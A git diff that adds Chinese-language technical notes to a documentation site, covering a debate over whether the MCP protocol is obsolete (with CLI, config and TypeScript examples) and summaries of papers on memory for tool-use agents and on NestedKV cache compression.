2. 可靠性与延迟 + +- 每个 MCP 服务器常是**独立子进程**(Node/Python),启动失败、中途崩溃、重复 OAuth 都见过。 +- 基准测试(Jira MCP vs 直连 REST):单次调用 MCP 约 **3× 慢**,含冷启动首调约 **9.4× 慢**——多一层 JSON-RPC + 进程边界。 +- Claude Code 对 MCP 响应有约 **25,000 tokens 截断**,大结果只能看到 `...[truncated]`。 + +### 3. 与现有 CLI/API 功能重叠 + +| 维度 | CLI / 直连 API | MCP | +|------|----------------|-----| +| 人机同接口 | 人类与 Agent 同一命令 | 主要在 Agent 对话内 | +| 可组合性 | `pipe`、`jq`、脚本 | 受服务器返回格式约束 | +| 调试 | 终端复现 | 往往绑在会话里 | +| 预训练知识 | man page、Stack Overflow | 需额外 tool schema | + +Eric Holmes 等文章标题直球:**「MCP is dead. Long live the CLI.»** Google Workspace CLI 曾带 MCP 后又移除,也被解读为「大厂转向 CLI 扩展(如 Gemini CLI Extensions)」——尽管 Google Cloud 仍在推进 MCP 相关能力,叙事冲突加剧了「协议已死」的印象。 + +--- + +## 正方与演进:为什么「MCP is dead」是标题党 + +### 1. 生态数据并未崩塌 + +Better Questions(2026)汇总:MCP SDK **月下载量超 9700 万**;注册服务器 **1.7 万+**;Anthropic、OpenAI、Linux Foundation 等仍在投入。Perplexity **一家**弃用 MCP,不等于协议退场——更像 **Gartner hype cycle** 从「期望峰值」滑入「幻灭低谷」(Tyk Learning Center, 2026)。 + +### 2. 问题被归因到「 eager loading」,协议在修 + +**Tool Search / Deferred Loading**(Claude Code 已 rollout):连接时只列出工具**名称**,真正调用前才加载完整 schema,Quandri 后续更新称上下文膨胀「** largely addressed**」,token 可降 **85%+**。 + +**Code execution with MCP**(Anthropic):不把 77 个工具 schema 全塞进 prompt,而是把 MCP 暴露为**代码 API**,模型写脚本按需 `import` 工具模块。官方示例:某工作流从 **~150,000 tokens 降至 ~2,000 tokens**(约 98.7%)——**协议层仍是 MCP**,变的是**呈现给模型的方式**。 + +### 3. 企业场景:CLI 省 token,但省不了治理 + +远程 MCP over HTTP 提供: + +- 集中 **OAuth 2.1** 与 scope 撤销 +- **OpenTelemetry** 与调用审计 +- 服务端更新 tool schema,**多客户端同步**,无需每人 `git pull` CLI 插件 + +Victorino Group / Chen 的论点:争论表面是 MCP vs CLI,实质是 **个体速度 vs 组织控制面**。 + +### 4. 2026-07-28 规范 Release Candidate + +MCP 官方博客(2026-05-21)宣布迄今最大修订: + +- 传输层趋向 **无状态 HTTP**(移除 sticky session、`initialize` 握手改为 `_meta` 携带版本信息) +- **Extensions 框架**:Tasks、MCP Apps 等能力可独立演进 +- 功能 **deprecation 窗口**(约 12 个月)与一致性测试套件 + +这是在回应「难部署、难水平扩展、难调试」——不是写讣告,是在**补基础设施课**。 + +--- + +## 核心概念(零基础速查) + +### Model Context Protocol(MCP) + +Anthropic 2024 年底开源、现由 Linux Foundation 托管的 **JSON-RPC 2.0** 协议,让 **Host(IDE/Chat)— Client — Server** 三方标准化交换 **Tools / Resources / Prompts**。详见本站 [[mcp-spec]] 笔记。 + +### Context Bloat(上下文膨胀) + +客户端在会话开始时把 `tools/list` 返回的**全部** name + description + JSON Schema 注入 system prompt。工具越多,**还没用户输入就先占满窗口**。 + +### Deferred Loading(延迟加载) + +仅暴露工具目录;模型选定工具后再 fetch schema。对抗 bloat 的**客户端策略**,不改变 MCP wire format。 + +### Code Execution Mode(代码执行模式) + +模型生成 Python/TS 等代码调用 MCP 封装,而非逐步 `tools/call` JSON。减少中间结果过模型的次数,Anthropic 仍视为 MCP 生态的一部分。 + +### Skills Pattern + +把「如何调 Linear API」写成**按需加载**的 markdown/指令包(如 Claude Skills),内含 curl 示例。与 MCP 竞争的是**加载策略**,不是互斥——Quandri 实际 **Bash + Skills + MCP 混用**。 + +### stdio vs Streamable HTTP + +- **stdio**:本机子进程,零网络,适合个人;与 CLI 对比时常显「重」。 +- **Streamable HTTP**:远程、OAuth、多租户——「MCP 是企业工具总线」的主战场。 + +--- + +## 代码示例 1:同一任务 — CLI 路径(~200 tokens 量级) + +查 Linear 工单 `ISSUE-123`,Quandri 推荐的 CLI-first 写法: + +```bash +# 环境变量存放 token,避免写进 prompt 明文 +export LINEAR_TOKEN="lin_api_xxxxxxxx" + +curl -s \ + -H "Authorization: Bearer $LINEAR_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"query":"{ issue(id: \"ISSUE-123\") { title state { name } assignee { name } } }"}' \ + https://api.linear.app/graphql \ + | jq '{title: .data.issue.title, state: .data.issue.state.name, assignee: .data.issue.assignee.name}' +``` + +Agent 在 Bash 工具里执行上述命令:**无需** 预加载 42 个 Linear MCP 工具定义。代价:权限边界靠 shell 环境与你自己的规范;生产库上要自己防 `DROP TABLE`。 + +--- + +## 代码示例 2:MCP 路径 — 配置 + JSON-RPC 调用 + +Claude Desktop / Cursor 类客户端的 MCP 配置(stdio 本地服务器): + +```json +{ + "mcpServers": { + "linear": { + "command": "npx", + "args": ["-y", "@modelcontextprotocol/server-linear"], + "env": { + "LINEAR_API_KEY": "lin_api_xxxxxxxx" + } + } + } +} +``` + +连接后客户端发送 JSON-RPC(简化): + +```json +{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"example-host","version":"1.0.0"}}} +``` + +```json +{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_issue","arguments":{"id":"ISSUE-123"}}} +``` + +**差异**:在 deferred loading 之前,host 往往已在 prompt 里嵌入 `tools/list` 的完整 42 工具 schema(~12,807 tokens)。MCP 换来的是**结构化参数校验**、服务器侧只读策略、以及**换 Host 不必重写集成**。 + +--- + +## 代码示例 3:Skills 模式 — 按需加载的「轻量菜单」 + +Quandri 式 Linear Skill(仅在触发「查 Linear」时注入上下文): + +```markdown +# Linear Issue Lookup Skill + +- API: https://api.linear.app/graphql +- Auth: Bearer $LINEAR_API_KEY +- Get issue: + curl -s -H "Authorization: Bearer $LINEAR_API_KEY" \ + -H "Content-Type: application/json" \ + -d '{"query":"{ issue(id: \"ISSUE-ID\") { title state { name } } }"}' \ + https://api.linear.app/graphql +- Parse with jq; never print raw API keys in chat logs. +``` + +这是 **「MCP is dead」叙事里 CLI 派的工程化落地**:不是否定结构化工具,而是拒绝 **always-on 的 77 工具 billboard**。 + +--- + +## 代码示例 4:TypeScript — 最小 MCP Server(理解协议在干什么) + +用官方 SDK 暴露一个只读工具(个人学习/原型;生产请加鉴权与输入校验): + +```typescript +import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; +import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; +import { z } from "zod"; + +const server = new McpServer({ name: "demo-readonly", version: "1.0.0" }); + +server.tool( + "get_issue_title", + "Fetch Linear issue title by id (read-only demo)", + { id: z.string().describe("Linear issue id, e.g. ENG-123") }, + async ({ id }) => { + // 生产环境:在 server 内持 token,勿把 secret 返回给模型 + const res = await fetch("https://api.linear.app/graphql", { + method: "POST", + headers: { + Authorization: `Bearer ${process.env.LINEAR_API_KEY}`, + "Content-Type": "application/json", + }, + body: JSON.stringify({ + query: `{ issue(id: "${id}") { title } }`, + }), + }); + const json = await res.json(); + return { + content: [{ type: "text", text: json.data?.issue?.title ?? "not found" }], + }; + } +); + +const transport = new StdioServerTransport(); +await server.connect(transport); +``` + +**要点**:Server 端集中 credential;Host 只看见 tool schema。组织可以把此服务部署为 **HTTP MCP + OAuth**,同一实现服务 Cursor 与内部 Chat —— 这是 CLI 难以「一次编写、处处审计」的部分。 + +--- + +## 决策框架:什么时候仍用 MCP,什么时候 CLI/Skills 更好 + +| 场景 | 更倾向 | 理由 | +|------|--------|------| +| 本机 `gh`/`psql` 已认证 | **CLI / Bash** | 零 schema tax,调试透明 | +| 无 CLI 的 SaaS(部分协作工具) | **MCP 或官方 API Skill** | 没有更好的标准口 | +| 生产数据库、需只读/审计 | **MCP Server 网关** | 服务端拦截危险 SQL | +| 多客户端共享同一工具策略 | **HTTP MCP** | 集中 auth + schema 版本 | +| 个人编码 Agent 日常自动化 | **Skills + CLI 混合** | Quandri 实测省 ~21K tokens | +| 跨公司工具 marketplace | **MCP** | 互操作是协议存在理由 | + +**不要二选一宗教战争**:Better Questions 总结,Cloudflare / Pydantic / Zapcode 等团队收敛于 **「保留 MCP 作 schema 与发现层, invocation 方式再演进」** —— 换的是调用约定,不是删掉协议。 + +--- + +## 安全提醒:RCE 与「死不死」无关 + +2026 年多个安全分析指出:**实现不当的 MCP Server 可能带来任意命令执行(RCE)**——工具描述不可信、过度权限、prompt injection 触发危险 `tools/call`。这证明 MCP 需要**企业级硬化**(网关、沙箱、最小权限),但不能直接推出「协议已死」;类似「SQL 注入」不会让我们宣布 SQL 死亡。 + +--- + +## 与「USB-C 类比」的修正 + +2024–2025 年 MCP 被营销成 **「AI 的 USB-C」**;2026 年的修正版类比: + +- **USB-C 仍然正确**:统一插头形状(schema、auth、discovery)。 +- **需要补充**:你不该把**整台五金店**的 SKU 清单贴在桌布上(77 tools eager load);USB-C 也没规定你必须同时插入所有设备。 +- **CLI 像专用线**:只有一台显示器时,HDMI 线往往比 USB-C 坞更省事——**场景决定接口**,不是协议淘汰赛。 + +--- + +## 时间线(便于建立直觉) + +| 时间 | 事件 | +|------|------| +| 2024-11 | Anthropic 发布 MCP | +| 2025 中 | 「USB-C for AI」叙事峰值;大量 SaaS 上架 MCP badge | +| 2026-03 | Quandri「MCP is dead」;HN 热议;Perplexity 调整集成策略 | +| 2026 Q1–Q2 | Tool Search / deferred loading;Code execution with MCP 文章 | +| 2026-05 | MCP `2026-07-28` Release Candidate(无状态 HTTP 等) | +| 2026 展望 | 企业网关、token 优化、Extensions 成熟 — **采纳期而非葬礼** | + +--- + +## 小结:MCP 死了吗? + +**短答:没有。** 更准确的说法: + +1. **死的是「lazy MCP」**——把整 API 拆成几十个常驻工具、默认 eager load 的做法;社区 backlash 是在杀这种用法,Quandri 与 Hjarni 等文均持此观点。 +2. **CLI 赢了个人效率战**——在终端里已认证的开发者工作流,Bash 往往更省 token、更快、更好调试。 +3. **MCP 仍在赢互操作与治理战**——远程部署、OAuth、审计、多 Host 共享;协议还在通过 stateless HTTP、deferred loading、code mode 解决 2025 年的痛点。 +4. **聪明团队混合用**——CLI 跑高频路径,Skills 包工作流,MCP 接无 CLI 或需集中策略的系统。 + +若你零基础只记一句:**「MCP is dead」是 headline;真正结束的是「连接一切、一次加载全部工具」的时代,而不是 JSON-RPC 那根线本身。** + +--- + +## 延伸阅读 + +- 协议本体:本站 [[mcp-spec]] +- Quandri Engineering — [MCP is dead](https://www.quandri.io/engineering-blog/mcp-is-dead)(含测量方法与 Skills 实践) +- Charles Chen — [MCP is Dead; Long Live MCP!](https://chrlschn.dev/blog/2026/03/mcp-is-dead-long-live-mcp/)(stdio vs HTTP 分野) +- MCP 官方 — [2026-07-28 Release Candidate](https://blog.modelcontextprotocol.io/posts/2026-07-28-release-candidate/) +- Anthropic — Code execution with MCP(上下文优化模式) +- Hacker News — [MCP is dead; long live MCP](https://news.ycombinator.com/item?id=47380270) diff --git a/src/content/docs/papers/memory-tool-use-agents.md b/src/content/docs/papers/memory-tool-use-agents.md new file mode 100644 index 000000000..e766a8660 --- /dev/null +++ b/src/content/docs/papers/memory-tool-use-agents.md @@ -0,0 +1,363 @@ +--- +title: When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents? +来源: 'Xinzhe Li & Yaguang Tao, "When Does Memory Help Multi-Trajectory Inference for Tool-Use LLM Agents?", arXiv:2605.28224, RMIT University, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:组队解谜,要不要共享笔记? + +想象你和四个朋友分头解同一道密室谜题,每人最多试五次,最后选**任意一人**的答案交卷。 + +- **各写各的(无记忆)**:每次从头摸索,A 已经发现「红钥匙开左门」,B 仍会再去试右门——浪费步数,但探索更分散。 +- **只写失败复盘(Reflection)**:A 失败后总结「别先查右柜,会触发警报」;B 读到后换策略。这对**需要树状回溯**的解法(像下围棋)特别有用,但对「各试各的、最后挑最好」的简单模式未必明显。 +- **只写环境事实(Fact Extraction)**:把「左柜有密码盘、表名是 Tournament_Results」记成原子事实;下一个人可以**跳过重复勘探**,步数变短,但容易大家都走同一条路。 +- **同一节点里兄弟之间耳语(Raw Sibling)**:在**同一步**展开多个候选动作时,后生成的候选能看到前面兄弟刚试过的动作和观察——适合束搜索这种「一步要并排看多个分支」的场景。 + +这篇论文(Li & Tao, arXiv:2605.28224)问的核心问题不是「记忆有没有用」,而是:**在什么推理策略、什么任务结构下,哪种记忆抽象才真正帮上忙?** 它用统一框架把 Reflexion、LATS、mem0 式事实提取等散落做法,放到同一张实验矩阵里对照。 + +--- + +## 是什么 + +**工具调用(tool-use)LLM Agent** 会在多步交互里发出结构化调用(SQL 查询、Shell 命令、知识图谱 API 等),读环境返回的 observation,再决定下一步。 + +**多轨迹推理(multi-trajectory inference)** 指:对同一任务生成**多条完整推理轨迹**,再从中选出最好的一条——类似 pass@k / best-of-N、束搜索(beam search)、蒙特卡洛树搜索(MCTS)。 + +**记忆增强** 在这些轨迹之间(或同一展开内的兄弟候选之间)传递信息,让后续尝试不必从零开始。 + +论文贡献可以概括为三件事: + +1. **统一框架**:沿两条正交轴分解记忆——**转移范围(scope)** 与 **内容抽象(abstraction)**。 +2. **系统实验**:4 种记忆 × 3 种推理策略 × 4 个基准(WikiSQL、WikiTQ、KGQA、Terminal-Bench),在 **verifier-free** 设定下评估(验证器只在评测时用,推理过程中没有「单元测试通过/失败」这类在线信号)。 +3. **三条结论(F1–F3)**:记忆收益强烈依赖推理策略;不同抽象在难任务上可能「效果相当」;事实提取常**不提高准确率**但显著**缩短轨迹**。 + +--- + +## 为什么重要 + +### 1. 过去的工作难以横向比较 + +Reflexion 用轨迹级反思、LATS 把反思嵌进 MCTS、mem0 类方法提取原子事实——它们往往在**单一任务 + 单一推理策略**下报告提升。你无法判断:增益来自「反思比事实好」,还是来自「MCTS 比 best-of-N 更适合吃这类记忆」。 + +### 2. 生产 Agent 大多是 verifier-free + +很多论文在推理时用 inline verifier(答案 exact match、测试是否通过)。真实部署里,Agent 通常**不知道**当前轨迹对不对,只能凭 observation 继续试。论文刻意对齐这种 regime,结论更贴近实际系统。 + +### 3. 环境是否可序列化(serializable)决定能用哪种搜索 + +若环境状态**不能 fork**(例如真实 Shell、已执行的破坏性 SQL),则 beam search / MCTS 不可行,只剩 **best-of-N** 类独立采样。记忆设计必须和**可用搜索算法**一起考虑。 + +### 4. 「加记忆」不免费 + +Reflection 要额外调用 augmentor LLM;Fact 提取也有成本。WikiSQL 上 LiTS-Fact 把平均步数从 6.1 降到 4.9,策略 token 成本从 $2.20 降到约 $1.68——**效率收益**和**探索多样性损失**需要权衡。 + +--- + +## 核心概念 + +### 1. 形式化:上下文增强器 + +策略从 \(\pi_\theta(a \mid s)\) 变为 \(\pi_\theta(a \mid s, \mathcal{C})\),其中: + +\[ +\mathcal{C} = \bigcup_{k=1}^{K} f_k(\mathcal{H}_k) +\] + +- \(\mathcal{H}_k\):第 \(k\) 个增强器能看到的**历史范围** +- \(f_k\):把历史**变换**成可注入 prompt 的文本(反思、事实、原始 observation 等) + +多个增强器可**组合**进同一条 prompt——论文发现组合并不总是更好(见下文「反思 vs 事实冲突」)。 + +### 2. 轴一:记忆范围(Scope) + +| 范围 | 含义 | 典型方法 | +|------|------|----------| +| **Cross-trajectory(跨轨迹)** | 完整轨迹结束后,把信息传给**下一次独立尝试** | Reflection、LiTS-Fact | +| **Cross-sibling(扩展内)** | 在同一搜索节点一次展开 \(N\) 个候选时,后采样的兄弟能看到**前面兄弟**的动作与观察 | Raw Sibling | + +### 3. 轴二:内容抽象(Abstraction) + +| 抽象级别 | 存什么 | 特点 | +|----------|--------|------| +| **Raw(原始)** | 工具返回的 observation 原文 | 信息最全,token 多 | +| **Reflection(反思)** | 自然语言总结:错在哪、下次怎么做 | 偏**程序性**计划,Agent 易「逐步照做」 | +| **Atomic facts(原子事实)** | 从轨迹抽出的短事实句 | 偏**陈述性**环境知识,利于跳过重复发现 | + +### 4. 四种具体记忆方法 + +| 方法 | Scope | Abstraction | 说明 | +|------|-------|-------------|------| +| **No Memory** | — | — | 基线:各轨迹独立采样 | +| **Reflection** | 跨轨迹 | 反思 | 类似 Reflexion / LATS 的 verbal memory | +| **LiTS-Fact** | 跨轨迹 | 原子事实 | 适配 mem0 流水线到多尝试搜索 | +| **Raw Sibling** | 扩展内 | 原始 observation | 论文新提出的 instantiation | + +### 5. 三种推理策略 + +| 策略 | 直觉 | 与记忆的典型关系 | +|------|------|------------------| +| **Best-of-N(Indep)** | 独立生成 N 条轨迹,选 PRM 最高 | 跨轨迹记忆有用;扩展内记忆**结构上不适用** | +| **Beam Search** | 每步保留 top-k 分支并行扩展 | 分支相似度高 → **多样性不足** → Raw Sibling 可能有用 | +| **MCTS** | 树搜索 + 回滚 + 价值估计 | 跨轨迹 Reflection 在难任务上**显著**;与 Raw Sibling 在 KGQA 上准确率可接近 | + +### 6. 三个基准环境(四类任务) + +- **WikiSQL / WikiTQ**:Text-to-SQL,环境相对可复用(表结构、列名)。 +- **KGQA**:知识图谱问答,更难,步数更长。 +- **Terminal-Bench**:CLI / Shell,环境常**不可序列化** → 许多搜索组合不可行。 + +--- + +## 三条核心发现(论文 F1–F3) + +### F1:记忆对准确率的影响取决于搜索方法 + +- **Reflection** 的统计显著提升主要出现在 **MCTS** 下,在 **best-of-N** 下往往不显著。 +- **Raw Sibling(扩展内注入)** 主要帮助 **多样性不足的 beam search**,对 MCTS 等其他策略帮助有限。 +- 同一记忆方法、同一批样本,换推理策略后结果可以**统计上显著不同**——推理策略是重要**混淆变量**。 + +### F2:不同抽象在难任务上可能「效果打平」 + +在 KGQA 的 MCTS 上,**Reflection** 与 **Raw Sibling** 准确率统计上**无法区分**,尽管一个用高抽象反思、一个用原始 observation。说明:在足够难的搜索里,「有跨尝试信息通道」本身可能比「通道里装的是反思还是 raw」更关键——至少在该设定下如此。 + +### F3:事实提取偏效率,不偏准确率 + +**LiTS-Fact** 在具有**可复用环境结构**的任务上,常**不提高** pass@k,但能把轨迹长度缩短约 **19–26%**。WikiSQL 上 77% 的后继尝试会跳过 `list_tables` 这类重复发现步骤(无记忆时仅约 4%)。 + +### 额外机制:反思 + 事实同时注入会「打架」 + +事实说「表 Tournament_Results 已有列 A,B,C」→ Agent 本可跳过列清单;反思说「Step 1: list tables」→ Agent **字面执行计划**,仍去 list tables。WikiSQL 上 skip 率从 77%(仅事实)跌到 20%(事实+反思),pass@5 也会下降。**显式程序性记忆会压制隐式环境知识。** + +--- + +## 代码示例 1:Best-of-N + 跨轨迹 Reflection(教学用骨架) + +下面用 Python 伪代码展示 **verifier-free best-of-N**:轨迹之间只传反思,最终用过程奖励模型(PRM)选最优,**推理过程中不调 oracle**。 + +```python +from dataclasses import dataclass, field +from typing import Any + + +@dataclass +class Trajectory: + steps: list[dict[str, Any]] = field(default_factory=list) + final_answer: str | None = None + prm_score: float = 0.0 + + +def run_tool(env, action: dict) -> dict: + """env 可以是 SQL 连接、KG API、mock shell 等。""" + return env.execute(action) + + +def reflect_on_trajectory(traj: Trajectory, llm) -> str: + """跨轨迹抽象:把失败/低效轨迹压成自然语言反思。""" + prompt = f""" + 任务已结束。轨迹步数={len(traj.steps)},最终答案={traj.final_answer!r}。 + 请用 3 条以内 bullet 总结:哪些工具调用是浪费的?下次应如何调整策略? + 轨迹摘要:{traj.steps[-8:]} + """ + return llm.complete(prompt) + + +def agent_step(state: str, memory: str, llm) -> dict: + """单步 tool-call:prompt = 系统记忆 + 当前 observation。""" + system = f"跨轨迹记忆(反思):\n{memory}\n" if memory else "" + return llm.choose_tool(system + state) + + +def best_of_n_with_reflection(task: str, env, llm, prm, n: int = 5) -> Trajectory: + memory = "" + trajectories: list[Trajectory] = [] + + for attempt in range(n): + state = task + traj = Trajectory() + + while not env.done(state): + action = agent_step(state, memory, llm) + obs = run_tool(env, action) + traj.steps.append({"action": action, "obs": obs}) + state = env.render(state, obs) + + traj.final_answer = env.extract_answer(state) + traj.prm_score = prm.score(task, traj) # 仅用于选优,非 inline verifier + trajectories.append(traj) + + # 跨轨迹:下一条尝试读取上一轮的 verbal reflection + memory = reflect_on_trajectory(traj, llm) + + return max(trajectories, key=lambda t: t.prm_score) +``` + +**读代码时注意**: + +- `memory` 在**每条轨迹结束后**才更新 → 典型的 **cross-trajectory + reflection**。 +- `prm.score` 模拟论文里的过程奖励模型选轨迹;它**不是** SQL 执行结果的对错标签(那会是 inline verifier)。 +- 论文结论:这种 Reflection 在 **best-of-N** 上提升常不显著;若换成 **MCTS + 回滚**,同一反思机制更容易显出收益(F1)。 + +--- + +## 代码示例 2:Scope × Abstraction 组合器 + Beam 扩展内 Raw Sibling + +第二个例子展示论文公式 (1) 的**可组合增强器**,并实现 **Raw Sibling**:同一父节点展开多个候选时,后生成的候选看到前面兄弟的 `(action, observation)`。 + +```python +from abc import ABC, abstractmethod + + +class ContextAugmentor(ABC): + @abstractmethod + def analyze(self, history) -> str: + ... + + +class ReflectionAugmentor(ContextAugmentor): + """Scope: cross-trajectory | Abstraction: reflection""" + + def __init__(self, past_trajectories: list): + self.past_trajectories = past_trajectories + + def analyze(self, history) -> str: + if not self.past_trajectories: + return "" + last = self.past_trajectories[-1] + return f"[Reflection] 上一轮共 {len(last)} 步,避免重复无效工具调用。" + + +class FactAugmentor(ContextAugmentor): + """Scope: cross-trajectory | Abstraction: atomic facts (LiTS-Fact 简化版)""" + + def __init__(self, facts: list[str]): + self.facts = facts + + def analyze(self, history) -> str: + if not self.facts: + return "" + return "[Facts]\n" + "\n".join(f"- {f}" for f in self.facts) + + +class RawSiblingAugmentor(ContextAugmentor): + """Scope: within expansion | Abstraction: raw (action, obs) pairs""" + + def __init__(self, siblings: list[tuple[dict, dict]]): + self.siblings = siblings # 当前节点已采样兄弟的 (action, observation) + + def analyze(self, history) -> str: + if not self.siblings: + return "" + lines = [] + for i, (a, o) in enumerate(self.siblings, 1): + lines.append(f"兄弟#{i} action={a} obs={o}") + return "[Sibling context]\n" + "\n".join(lines) + + +def build_prompt(state: str, augmentors: list[ContextAugmentor], histories) -> str: + chunks = [aug.analyze(histories[i]) for i, aug in enumerate(augmentors)] + context = "\n\n".join(c for c in chunks if c) + return f"{context}\n\n当前状态:{state}" if context else state + + +def beam_expand(parent_state, env, llm, beam_width: int = 3): + """束搜索一步:后采样候选注入 Raw Sibling 记忆。""" + candidates = [] + siblings: list[tuple[dict, dict]] = [] + + for _ in range(beam_width): + prompt = build_prompt( + parent_state, + augmentors=[RawSiblingAugmentor(siblings)], + histories=[siblings], + ) + action = llm.choose_tool(prompt) + obs = env.execute(action) + siblings.append((action, obs)) # 下一个兄弟能看到之前的 + next_state = env.render(parent_state, obs) + candidates.append((next_state, obs, llm.score_state(next_state))) + + return sorted(candidates, key=lambda x: x[2], reverse=True)[:beam_width] +``` + +**设计对照表**(与论文 Table 9 思想一致): + +| 配置 | 探索多样性 | 跳过重复发现 | +|------|------------|--------------| +| 无记忆 | 高(i.i.d. 采样) | 低 | +| LiTS-Fact 全注入 | 降低(事实被当 ground truth) | 高 | +| Raw Sibling + Beam | 在**步内**差异化兄弟 | 中等 | + +论文强调:**检索式**「只注入相似事实」难以同时保多样性与高效率——Pareto 前沿很窄;他们的 LiTS-Fact 走「全注入、高效率、低多样性」一端。 + +--- + +## 实验矩阵怎么读 + +论文评估的是 **memory × inference × benchmark** 单元格,部分组合因环境不可序列化而**结构性不可行**(Table 2 中 † 标记)。 + +| 维度 | 取值 | +|------|------| +| 记忆 | No Memory / Reflection / LiTS-Fact / Raw Sibling(及 Fact+Refl 组合) | +| 推理 | Best-of-N / Beam / MCTS | +| 任务 | WikiSQL(51) / WikiTQ(49) / KGQA(150 或 69 子集) / Terminal-Bench(89) | + +**效率侧数据(Appendix P,best-of-N)**: + +- WikiSQL 平均步数:No Memory 6.1 → LiTS-Fact 4.9;跳过 list_tables:4% → 77%。 +- 成本:Reflection 因 augmentor 调用,总成本高于纯策略;Fact 在步数减少后**策略侧**更省。 + +整实验 API 成本约 **$1,384**(Bedrock 定价,Haiku/Sonnet 分工)。 + +--- + +## 给工程实践的 checklist + +在给你的 tool-use Agent 加「多轨迹记忆」之前,可以按论文结论自问: + +1. **推理策略是什么?** 若只有 best-of-N,别指望 Reflexion 式反思一定涨点;若用 MCTS,跨轨迹反思更值得试。 +2. **环境能否 fork?** 不能则别设计依赖 beam/MCTS 的方案;记忆应服务**独立多次尝试**。 +3. **任务有没有可复用的环境结构?** 有(SQL schema、固定 API 面)→ 事实提取可能**省 token/步数**;无则记忆偏「避错」而非「跳过发现」。 +4. **beam 是否多样性不足?** 是 → 考虑扩展内 Raw Sibling;否 → 收益可能不明显。 +5. **是否混用反思与事实?** 小心显式计划覆盖环境事实,导致重复工具调用。 +6. **是否 verifier-free?** 在线没有单元测试/答案校验时,论文设定更贴你的生产路径;别直接照搬带 inline verifier 的旧结论。 + +--- + +## 与相关工作的关系(简表) + +| 方向 | 代表工作 | 本文差异 | +|------|----------|----------| +| 树搜索推理 | Tree-of-Thoughts, RAP, ReST-MCTS* | 聚焦**记忆抽象 × 搜索策略**交互,非新搜索算法 | +| verbal 反思 | Reflexion, LATS | 统一进 scope×abstraction,并测 **何时** 显著 | +| 原子事实 | mem0, Holt et al. | LiTS-Fact + 与 Reflection 的**对照**与**组合**分析 | +| 不可序列化环境 | Zainullina et al. 2025 | 解释为何某些 benchmark 只能 best-of-N | + +框架还可视为 RL **experience replay** 的推理期类比:经验不用于梯度,而是**写进 prompt**(in-context learning / hindsight 的一种形式)。 + +--- + +## 局限与开放问题 + +- **单一策略 LLM 族**:SQL 用 Haiku、KG 用 Sonnet;跨模型结论需谨慎外推。 +- **Fact 检索策略**:论文主要评「全注入」;相似/相异检索仅为设计空间分析,未全量实验。 +- **组合增强器**:Fact+Reflection 已显示冲突;更一般的组合规则仍开放。 +- **负向事实**(「某表不存在」)与 **candidate-vs-truth framing** 被提出作为缓解多样性–效率权衡的方向,需后续验证。 + +--- + +## 一句话总结 + +**记忆不是 tool-use Agent 多轨迹推理的万能插件:Reflection 更像给 MCTS 的「错题本」,LiTS-Fact 更像 SQL 任务的「环境速查表」,Raw Sibling 是给「步子太像的束搜索」加的「兄弟耳语」——先选对推理策略,再选记忆抽象,比堆更多记忆类型更重要。** + +--- + +## 延伸阅读 + +- 论文 HTML:[arXiv:2605.28224](https://arxiv.org/html/2605.28224) +- Reflexion(跨轨迹反思原型):Shinn et al., 2023 +- LATS(MCTS + 反思):Zhou et al., 2024 +- 不可序列化环境与轨迹选择:Zainullina et al., 2025 +- mem0(原子事实提取流水线):Chhikara et al., 2025 diff --git a/src/content/docs/papers/nestedkv.md b/src/content/docs/papers/nestedkv.md new file mode 100644 index 000000000..6cd26cdbb --- /dev/null +++ b/src/content/docs/papers/nestedkv.md @@ -0,0 +1,345 @@ +--- +title: NestedKV — 嵌套内存路由实现长上下文 KV Cache 压缩 +来源: 'Chen et al., "NestedKV: Nested Memory Routing for Long-Context KV Cache Compression", arXiv:2605.26678, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:三层笔记本决定删哪几页 + +想象你在整理一本**超厚的工作日志**(长上下文 prompt),但规定:**只能保留 B 页**,其余必须撕掉。之后你要靠剩下的页回答各种问题(自回归解码)。 + +如果只按一种标准删页,很容易删错: + +- **只看「整本书的平均风格」**:会留下和全书基调不同的页,但可能漏掉**只在某一章突然出现的关键数字**(全局异常 vs 局部情节)。 +- **只看「当前这一章」**:重复段落会被当成废话删掉,但**跨章引用**可能还在前面某章(局部冗余 vs 全局检索)。 +- **只看「最近几页」**:StreamingLLM 式做法,适合接着写,但**文档开头的 needle** 可能永远找不回来(近期相关 vs 远程证据)。 + +NestedKV 的做法像同时维护**三本嵌套笔记本**: + +1. **稳定本(Stable)**:整本书的「平均语气」——全局锚点 \(\mu_s\)。 +2. **情节本(Episodic)**:按块(block)划分的「这一节在讲什么」——段落/回合锚点 \(\mu_e(i)\)。 +3. **当前本(Current)**:最近 64 个 token 的滑动窗口——即时流锚点 \(\mu_c(i)\)。 + +对每一页(token),问三个问题:「和这三本笔记相比,我算不算**异常/outlier**?」异常就保留,可预测就删掉。若三个本子意见不一致,再用一个**无需训练的「外层调度员」**决定听谁的——这就是论文说的 **Nested Memory Routing(嵌套内存路由)**。 + +论文来自 HKUST(GZ) 与 Jimei University 等(arXiv:2605.26678),**无需微调、不改模型结构**,在 prefill 结束后、decode 开始前对 KV cache 做压缩。在 Qwen3-4B 上,压缩比 \(r=0.75\)(只留 25% KV)时,RULER 相对 KeyDiff 最高 **+19.10** 分,LongBench 平均从 30.77 提到 **50.06**;在更极端的 \(r=0.95\) 下 LongBench 仍保留 **37.32**(KeyDiff 仅 17.55)。 + +--- + +## 是什么 + +**NestedKV** 是一种 **training-free、key-only** 的 KV cache 压缩方法,受 Nested Learning 中 **Continuum Memory System(连续记忆系统)** 启发: + +> 把 token 驱逐问题重新表述为:**在有限测试时记忆预算下,维护嵌套的多时间尺度记忆状态**。 + +它只做一件事:给定每层、每头的 KV cache 和预算 \(B\),选出应保留的 token 位置集合 \(\mathcal{S}\),\(|\mathcal{S}|=B\)。模型权重、attention 算子、保留下来的 **Value 向量本身都不改**——变的是**哪些位置还在 cache 里**。 + +与常见 baseline 的对照: + +| 方法 | 用什么信号决定保留谁 | 典型盲点 | +|------|----------------------|----------| +| H2O / 注意力持久性 | 历史 attention 质量 | 答案 token 